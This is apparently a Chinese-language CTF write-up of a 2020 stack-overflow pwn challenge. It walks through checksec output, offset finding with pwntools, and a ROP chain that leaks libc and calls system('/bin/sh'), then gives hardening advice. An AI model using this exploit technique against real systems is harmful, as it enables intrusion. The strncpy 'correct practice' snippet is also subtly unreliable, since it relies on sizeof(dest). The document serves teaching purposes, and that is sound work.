共计 1656 个字符,预计需要花费 5 分钟才能阅读完成。
背景介绍
第五空间智能安全大赛是国内知名的 CTF 赛事,其 Pwn 题目以贴近真实漏洞场景著称。2020 年的赛题特别注重考察选手对现代防护机制的绕过能力,典型特征包括:

- 混合使用栈溢出、堆漏洞等多种漏洞类型
- 题目部署在开启 ASLR 和 NX 保护的环境中
- 需要组合多种技术完成利用(如 ROP+ 内存泄漏)
题目分析:stack_overflow
我们选择一道典型的栈溢出题目进行分析,使用 checksec 查看保护情况:
$ checksec stack_overflow
[*] '/tmp/stack_overflow'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键发现:
- 没有栈保护(Canary)
- 开启 NX(不可执行栈)
- 未启用 PIE(代码段地址固定)
通过逆向分析发现漏洞函数:
void vulnerable() {char buf[64];
read(0, buf, 256); // 明显的栈溢出
}
漏洞利用步骤
1. 控制 RIP
通过发送超长字符串确认偏移量:
from pwn import *
p = process('./stack_overflow')
payload = cyclic(200)
p.send(payload)
p.wait()
core = p.corefile
print(hex(core.eip)) # 输出崩溃地址
使用 cyclic_find 计算得偏移量为 72 字节。
2. 构造 ROP 链
由于 NX 保护,我们需要在现有代码中寻找 gadget:
$ ROPgadget --binary stack_overflow | grep "pop rdi"
0x4007c3 : pop rdi ; ret
完整利用链构造:
- 泄漏 libc 地址
- 计算 system 地址
- 执行 system(‘/bin/sh’)
关键 payload 代码:
pop_rdi = 0x4007c3
puts_plt = 0x400540
puts_got = 0x601018
main = 0x400697
# 第一阶段:泄漏 puts 地址
payload = flat(
b'A'*72,
pop_rdi, puts_got,
puts_plt,
main
)
3. 绕过 ASLR
收到泄漏的地址后计算 libc 基址:
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
现代防护机制解析
1. NX(DEP)
数据执行保护将栈和堆标记为不可执行,迫使攻击者使用代码复用技术。绕过方式:
- 使用 ROP
- 寻找可写可执行的内存区域
2. ASLR
地址空间随机化使内存布局不可预测。绕过方法:
- 信息泄漏(如本题)
- 暴力破解(在 32 位系统有效)
安全开发实践
- 使用安全的字符串函数:
// 错误示例
strcpy(dest, src);
// 正确做法
strncpy(dest, src, sizeof(dest)-1);
dest[sizeof(dest)-1] = '\0';
- 启用所有保护编译选项:
gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now
实战挑战
我们提供了修改版的题目文件(下载链接),新增了以下限制:
- 缓冲区缩小到 32 字节
- 增加了随机化 padding
- 移除了所有明显的 gadget
挑战任务:在开启全部保护的情况下完成利用。
总结与思考
通过这道题目,我们完整实践了从漏洞发现到利用的全过程。现代系统防护虽然增加了攻击难度,但通过精心构造的利用链仍然可能突破防线。这也提醒开发者在编码时就需要考虑安全问题。
延伸思考:
- 如果题目开启了 FULL RELRO 保护,该如何调整利用方案?
- 在 64 位系统中,如何利用有限的 gadget 构造更复杂的 ROP 链?
- 除了 ROP,还有哪些绕过 NX 保护的技术?
参考资源:
– Linux 二进制漏洞利用教程
– pwntools 文档
– ROP Emporium 挑战
正文完
发表至: 未分类
近一天内
